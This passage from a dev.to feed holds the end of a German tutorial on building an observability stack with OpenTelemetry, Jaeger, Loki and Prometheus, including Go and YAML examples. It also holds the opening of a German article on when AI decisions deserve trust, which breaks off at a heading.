&lt;p&gt;Jaeger ist ein Open‑Source‑Distributed‑Tracing‑System, das Spans sammelt und visualisiert. Jeder Span repräsentiert einen einzelnen Schritt eines Requests (z. B. Datenbank‑Aufruf). Durch das &lt;strong&gt;Propagation‑Header&lt;/strong&gt;‑Schema (z. B. &lt;code&gt;traceparent&lt;/code&gt;) kann man Requests über mehrere Services hinweg nachverfolgen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Konkrete Implementierung (Go)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"context"&lt;/span&gt;
    &lt;span class="s"&gt;"log"&lt;/span&gt;
    &lt;span class="s"&gt;"net/http"&lt;/span&gt;

    &lt;span class="s"&gt;"go.opentelemetry.io/otel"&lt;/span&gt;
    &lt;span class="s"&gt;"go.opentelemetry.io/otel/exporters/jaeger"&lt;/span&gt;
    &lt;span class="s"&gt;"go.opentelemetry.io/otel/trace"&lt;/span&gt;
    &lt;span class="s"&gt;"go.opentelemetry.io/otel/sdk/trace"&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;initTracer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c"&gt;// Jaeger‑Collector läuft auf localhost:14268&lt;/span&gt;
    &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;jaeger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jaeger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WithCollectorEndpoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:14268/api/traces"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatalf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Jaeger exporter error: %v"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;tp&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NewTracerProvider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;trace&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WithBatcher&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;otel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SetTracerProvider&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Shutdown&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;w&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ResponseWriter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;span&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;otel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Tracer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"my‑service"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;"handler"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;span&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;End&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c"&gt;// Simulierter DB‑Call&lt;/span&gt;
    &lt;span class="n"&gt;dbCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;w&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ok"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;dbCall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;span&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;otel&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Tracer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"my‑service"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"db‑query"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;span&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;End&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="c"&gt;// hier würde ein echter DB‑Aufruf stattfinden&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;shutdown&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;initTracer&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="n"&gt;shutdown&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Background&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HandleFunc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Listening on :8080"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ListenAndServe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;":8080"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Jaeger‑Docker‑Compose&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.7'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;jaeger&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jaegertracing/all-in-one:1.53&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;16686:16686"&lt;/span&gt;   &lt;span class="c1"&gt;# UI&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;14268:14268"&lt;/span&gt;   &lt;span class="c1"&gt;# Collector&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nach Start (&lt;code&gt;docker compose up -d&lt;/code&gt;) können Sie im Jaeger‑UI (&lt;code&gt;http://localhost:16686&lt;/code&gt;) sehen, wie ein einzelner Request über &lt;code&gt;handler → db‑query&lt;/code&gt; spannt.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Der Aufwand, ein paar Zeilen OpenTelemetry‑Code zu schreiben, zahlt sich durch die &lt;strong&gt;Visibilität&lt;/strong&gt; aus, die Sie erhalten. In meinem letzten Projekt haben wir dank Jaeger einen Datenbank‑Deadlock innerhalb von 30 Sekunden isoliert – ein Problem, das mit Log‑Analyse über Stunden hinweg verborgen geblieben wäre.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Beispiel 3 – OpenTelemetry Collector als zentraler Hub
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Erklärung
&lt;/h3&gt;

&lt;p&gt;Der OpenTelemetry Collector (OTel‑Collector) ist ein universeller Agent, der &lt;strong&gt;Logs&lt;/strong&gt;, &lt;strong&gt;Metrics&lt;/strong&gt; und &lt;strong&gt;Traces&lt;/strong&gt; aus unterschiedlichen Quellen entgegennimmt, transformiert und an verschiedene Backends weiterleitet. Er lässt sich leicht per Docker oder als Daemonset in Kubernetes betreiben.&lt;/p&gt;

&lt;h3&gt;
  
  
  Konkrete Konfiguration (collector-config.yaml)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;receivers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;otlp&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;protocols&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;grpc&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;http&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;

&lt;span class="na"&gt;exporters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;prometheus&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;0.0.0.0:9090"&lt;/span&gt;
  &lt;span class="na"&gt;jaeger&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jaeger:14250"&lt;/span&gt;
  &lt;span class="na"&gt;loki&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;endpoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://loki:3100/api/prom/push"&lt;/span&gt;

&lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;pipelines&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;traces&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;receivers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;otlp&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;exporters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;jaeger&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;metrics&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;receivers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;otlp&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;exporters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;prometheus&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;logs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;receivers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;otlp&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;exporters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;loki&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Docker‑Compose&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3.7'&lt;/span&gt;
&lt;span class="na"&gt;services&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;otel-collector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;otel/opentelemetry-collector:0.92.0&lt;/span&gt;
    &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--config"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/collector-config.yaml"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./collector-config.yaml:/etc/collector-config.yaml&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4317:4317"&lt;/span&gt;   &lt;span class="c1"&gt;# OTLP gRPC&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;4318:4318"&lt;/span&gt;   &lt;span class="c1"&gt;# OTLP HTTP&lt;/span&gt;
  &lt;span class="na"&gt;jaeger&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jaegertracing/all-in-one:1.53&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;16686:16686"&lt;/span&gt;
  &lt;span class="na"&gt;loki&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana/loki:2.9.1&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;3100:3100"&lt;/span&gt;
  &lt;span class="na"&gt;prometheus&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;prom/prometheus:2.48.0&lt;/span&gt;
    &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;9090:9090"&lt;/span&gt;
    &lt;span class="na"&gt;volumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./prometheus.yml:/etc/prometheus/prometheus.yml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Starten Sie das Stack (&lt;code&gt;docker compose up -d&lt;/code&gt;). Jede Anwendung, die OTLP nutzt (z. B. das Go‑Beispiel oben), sendet automatisch &lt;strong&gt;Traces&lt;/strong&gt;, &lt;strong&gt;Metrics&lt;/strong&gt; und &lt;strong&gt;Logs&lt;/strong&gt; an den Collector, der sie weiterleitet.&lt;/p&gt;

&lt;h3&gt;
  
  
  Persönliche Einschätzung
&lt;/h3&gt;

&lt;p&gt;Der OTel‑Collector ist mein &lt;strong&gt;Einheitswerkzeug&lt;/strong&gt; für Observability. Er reduziert die Komplexität drastisch, weil Sie nur ein einziges Deployment pflegen müssen, das alles nach außen transportiert. Der wichtigste Tipp: &lt;strong&gt;Export‑Only‑Pipelines&lt;/strong&gt; nutzen, um Traffic zu minimieren – kein Service will unnötige Daten ans Netzwerk schicken.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Häufige Fehler beim Aufbau eines Observability‑Stacks
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Nur Logs sammeln&lt;/strong&gt; – Das führt schnell zu Datenflut ohne Kontext. Kombinieren Sie immer mit Metriken und Traces.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unzureichende Label‑Strategie&lt;/strong&gt; – Ohne konsistente Labels (z. B. &lt;code&gt;service&lt;/code&gt;, &lt;code&gt;environment&lt;/code&gt;) wird das Filtern in Loki und Prometheus zu einem Rätsel.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zu viele Exporter&lt;/strong&gt; – Jeder Exporter erhöht Netzwerk‑ und CPU‑Last. Beginnen Sie mit einem Ziel (z. B. Grafana Cloud) und erweitern Sie nur bei Bedarf.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fehlende Sampling‑Strategie&lt;/strong&gt; – Traces können bei hohem Traffic explosiv wachsen. Setzen Sie Sampling‑Raten (z. B. 1 % bei Produktions‑Traffic) im Collector.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keine Alert‑Definitionen&lt;/strong&gt; – Beobachtbarkeit ist wertlos, wenn Sie nicht automatisch auf Anomalien reagieren. Definieren Sie Alerts in Prometheus für Latenzspikes, Fehlerraten und ungewöhnliche Log‑Muster.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  6. Fazit &amp;amp; konkreter nächster Schritt
&lt;/h2&gt;

&lt;p&gt;Ein reiner Log‑Ansatz ist heute nur noch ein Relikt aus der Ära monolithischer Anwendungen. Durch die Kombination von &lt;strong&gt;Metrics&lt;/strong&gt;, &lt;strong&gt;Logs&lt;/strong&gt; und &lt;strong&gt;Tracing&lt;/strong&gt; erhalten Sie ein vollständiges Bild: &lt;em&gt;Was passiert?&lt;/em&gt; (Metrics), &lt;em&gt;Was wurde geschrieben?&lt;/em&gt; (Logs) und &lt;em&gt;Wie hat ein Request das System durchlaufen?&lt;/em&gt; (Tracing). Der Wechsel kostet initial etwas Aufwand, zahlt sich aber durch schnellere Fehlerdiagnose, geringere MTTR und besseres Ressourcen‑Management aus.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ihr konkreter nächster Schritt:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Deployen Sie den &lt;strong&gt;OpenTelemetry Collector&lt;/strong&gt; (Beispiel‑YAML) auf Ihrem ersten Kubernetes‑Cluster.&lt;/li&gt;
&lt;li&gt;Instrumentieren Sie mindestens einen Service mit OpenTelemetry‑SDK (z. B. das Go‑Beispiel).&lt;/li&gt;
&lt;li&gt;Installieren Sie &lt;strong&gt;Loki&lt;/strong&gt;, &lt;strong&gt;Jaeger&lt;/strong&gt; und &lt;strong&gt;Grafana&lt;/strong&gt; via Helm (&lt;code&gt;helm install loki grafana/loki-stack&lt;/code&gt;, &lt;code&gt;helm install jaeger jaegertracing/jaeger&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Erstellen Sie ein Dashboard in Grafana, das &lt;strong&gt;Metriken&lt;/strong&gt;, &lt;strong&gt;Logs&lt;/strong&gt; (via Loki) und &lt;strong&gt;Traces&lt;/strong&gt; (via Jaeger) nebeneinander anzeigt.&lt;/li&gt;
&lt;li&gt;Definieren Sie Ihren ersten Alert in Prometheus (&lt;code&gt;alert: HighErrorRate ...&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Damit haben Sie ein echtes Observability‑Fundament, das Ihnen morgen schon hilft, die meisten Incidents mit ein paar Klicks zu lösen – statt in Log‑Dateien zu waten.&lt;/p&gt;

</description>
      <category>monitoring</category>
      <category>observability</category>
      <category>tracing</category>
      <category>logging</category>
    </item>
    <item>
      <title>KI-Entscheidungen: Wann Maschinen mehr Vertrauen verdienen als Menschen</title>
      <dc:creator>Uhltak Therestismysecret</dc:creator>
      <pubDate>Mon, 27 Jul 2026 06:00:05 +0000</pubDate>
      <link>https://dev.to/uhltak/ki-entscheidungen-wann-maschinen-mehr-vertrauen-verdienen-als-menschen-3kn2</link>
      <guid>https://dev.to/uhltak/ki-entscheidungen-wann-maschinen-mehr-vertrauen-verdienen-als-menschen-3kn2</guid>
      <description>&lt;h1&gt;
  
  
  KI-Entscheidungen: Wann Maschinen mehr Vertrauen verdienen als Menschen
&lt;/h1&gt;

&lt;p&gt;Unser aller Leben wird immer mehr von KI-Systemen bestimmt. Ob es um die Entscheidung geht, welche Produkte wir online kaufen, welche Filme wir ansehen oder sogar welche medizinische Behandlung wir erhalten, KI ist überall. Aber verdienen wir diesen Systemen wirklich unser Vertrauen?&lt;/p&gt;

&lt;h2&gt;
  
  
  Die Faszination der KI
&lt;/h2&gt;

&lt;p&gt;Die Faszination, die KI auf uns ausübt, liegt in ihrer Fähigkeit, riesige Mengen an Daten zu verarbeiten und Muster zu erkennen, die dem menschlichen Auge entgehen. Mit Hilfe von Algorithmen wie dem Decision Tree oder dem Random Forest können KI-Systeme Entscheidungen treffen, die oft genauso gut oder sogar besser sind als die eines Menschen. Zum Beispiel können KI-Systeme in der Medizin verwendet werden, um Krankheiten wie Krebs frühzeitig zu diagnostizieren.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ein Beispiel:&lt;/em&gt; Das IBM-Watson-System kann bei der Analyse von medizinischen Bilddaten helfen, um Krebs zu diagnostizieren. Es kann Hunderte von Stunden an Daten in nur wenigen Minuten verarbeiten und so den Ärzten helfen, die richtigen Entscheidungen zu treffen.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Die Fähigkeit von KI-Systemen, Daten zu verarbeiten und Muster zu erkennen, ist beeindruckend. Es ist jedoch wichtig, dass wir uns bewusst sind, dass KI-Systeme nur so gut sind wie die Daten, die sie trainieren.&lt;/p&gt;

&lt;h2&gt;
  
  
  Die Grenzen der KI
&lt;/h2&gt;

&lt;p&gt;Trotz der Faszination, die KI auf uns ausübt, gibt es auch Grenzen. KI-Systeme sind nur so gut wie die Algorithmen, die sie verwenden, und die Daten, die sie trainieren. Wenn die Daten fehlerhaft sind, kann das zu falschen Entscheidungen führen. Zum Beispiel kann ein KI-System, das auf Daten trainiert wurde, die von Menschen erstellt wurden, die bestimmte Vorurteile haben, auch diese Vorurteile übernehmen.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Ein Beispiel:&lt;/em&gt; Das Gesichtserkennungssystem von Amazon wurde getestet und zeigte sich als sehr ungenau bei der Erkennung von dunkelhäutigen Frauen. Dies liegt daran, dass das System auf Bildern trainiert wurde, die hauptsächlich weiße Menschen zeigten.&lt;/p&gt;

&lt;p&gt;Meine Einschätzung: Es ist wichtig, dass wir uns bewusst sind, dass KI-Systeme nicht perfekt sind und dass sie auch Fehler machen können. Es ist daher wichtig, dass wir sie immer überwachen und verbessern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Die Zukunft der KI
&lt;/h2&gt;

